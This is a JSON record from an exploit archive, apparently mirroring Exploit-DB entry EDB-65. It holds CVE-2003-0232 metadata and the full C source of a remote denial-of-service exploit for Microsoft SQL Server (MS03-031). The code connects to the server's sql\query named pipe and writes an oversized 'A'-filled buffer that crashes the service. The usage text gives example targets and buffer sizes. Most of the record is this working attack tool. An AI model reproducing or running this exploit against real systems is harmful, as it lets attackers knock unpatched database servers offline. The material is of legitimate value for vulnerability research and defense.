{"exploit":{"id":"EDB-65","name":"Microsoft Windows SQL Server - Remote Denial of Service (DoS) (MS03-031)","description":"Microsoft Windows SQL Server - Remote Denial of Service (DoS) (MS03-031)","cves":["CVE-2003-0232"],"author":"refdom","published":"2003-07-25","platform":"windows","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/65","path":"exploits/windows/dos/65.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-65.c","vulnerabilities":[{"id":"CVE-2003-0232","state":"PUBLISHED","title":null,"titleSource":null,"description":"Microsoft SQL Server 7, 2000, and MSDE allows local users to execute arbitrary code via a certain request to the Local Procedure Calls (LPC) port that leads to a buffer overflow.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0232","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0232"},"updatedAt":"2024-08-08T01:43:36.067Z","retrievedAt":"2026-11-26T12:05:15.319Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-65.png?v=2","url":"https://exploitbin.com/exploits/EDB-65","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-65/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-65/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"////////////////////////////////////////////////////////////////\n//\n//\t\tMicrosoft SQL Server DoS Remote Exploit (MS03-031)\n//\t\t\t\t\t\tBy refdom of xfocus\n//\n////////////////////////////////////////////////////////////////\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <windows.h>\n\n\nvoid Usage()\n{\n\tprintf(\"******************************************\\n\");\n\tprintf(\"exp for Microsoft SQL Server DoS(MS03-031)\\n\\n\");\n\tprintf(\"\\t Written by Refdom\\n\");\n\tprintf(\"\\t Email: refdom xfocus org\\n\");\n\tprintf(\"\\t Homepage: www.xfocus.org\\n\\n\");\n\tprintf(\"Usage: DOSMSSQL.exe server buffersize\\n\");\n\tprintf(\"eg: DOSMSSQL.exe192.168.0.1 9000\\n\\n\");\n\tprintf(\"The buffersize depends on service pack level.\\n\");\n\tprintf(\"I test it on my server: windows 2000, mssqlserver no sp.\\n\");\n\tprintf(\"when buffersize is 9000, the server can be crashed.\\n\");\n\tprintf(\"\\n\");\n\tprintf(\"*******************************************\\n\\n\");\n}\n\n\nint main(int argc, char* argv[])\n{\n\tchar lpPipeName[50];\n\tchar *lpBuffer = NULL;\n\tunsigned long ulSize = 0;\n\n\tBOOL bResult;\n\tDWORD dwWritten = 0, dwMode;\n\tHANDLE hPipe;\n\n\tUsage();\n\n\tprintf(\"Starting...\\n\");\n\n\tif (argc != 3)\n\t\tgoto Exit0;\n\n\tif (strlen(argv[1]) < 20)\n\t{\n\t\tsprintf(lpPipeName, \"\\\\\\\\%s\\\\\\\\.\\\\pipe\\\\sql\\\\query\", argv[1]);\n\t}\n\telse\n\t{\n\t\tprintf(\"Error!server\\n\");\n\t\tgoto Exit0;\n\t}\n\n\tulSize= atol(argv[2]);\n\n\tlpBuffer = (char*)malloc(ulSize + 2);\n\tif (NULL == lpBuffer)\n\t{\n\t\tprintf(\"malloc error!\\n\");\n\t\tgoto Exit0;\n\t}\n\n\tmemset(lpBuffer, 0, ulSize + 2);\n\tmemset(lpBuffer, 'A', ulSize);\n\t*lpBuffer = '\\x12';\n\t*(lpBuffer + 1) = '\\x01';\n\t*(lpBuffer + 2) = '\\x00';\n\n\tprintf(\"Connecting Server...\\n\");\n\n\thPipe = CreateFile(lpPipeName,\n\t\t\t\t\tGENERIC_READ | GENERIC_WRITE,\n\t\t\t\t\t0,\n\t\t\t\t\tNULL,\n\t\t\t\t\tOPEN_EXISTING,\n\t\t\t\t\t0,\n\t\t\t\t\tNULL);\n\tif (INVALID_HANDLE_VALUE == hPipe)\n\t{\n\t\tprintf(\"Error!Connect server!%d\\n\", GetLastError());\n\t\tgoto Exit0;\n\t}\n\n\tdwMode = PIPE_READMODE_MESSAGE;\n\tbResult = SetNamedPipeHandleState(\n\t\thPipe,\t // pipe handle\n\t\t&dwMode,  // new pipe mode\n\t\tNULL,\t  // don't set maximum bytes\n\t\tNULL);\t // don't set maximum time\n\tif (!bResult)\n\t{\n\t\tprintf(\"Error!SetNamedPipeHandleState.%d\\n\", GetLastError());\n\t\tgoto Exit0;\n\t}\n\n\tbResult = WriteFile(hPipe, lpBuffer, ulSize + 1, &dwWritten, NULL);\n\n\tif (!bResult)\n\t{\n\t\tprintf(\"\\n\\tError!WriteFile.%d\\n\\n\", GetLastError());\n\t\tprintf(\"When see the error message, the target may be crashed!!\\n\\n\");\n\t\tgoto Exit0;\n\t}\n\nExit0:\n\n\treturn 0;\n}\n\n// milw0rm.com [2003-07-25]","sha256":"fc12fcc36620fd5bad069299ad9cd0b10247edfb78cf635eaf567733efc9ffa1","bytes":2436,"fetchedAt":"2026-11-26T12:05:09.124Z","encoding":"utf-8 (display only; download retains original bytes)"}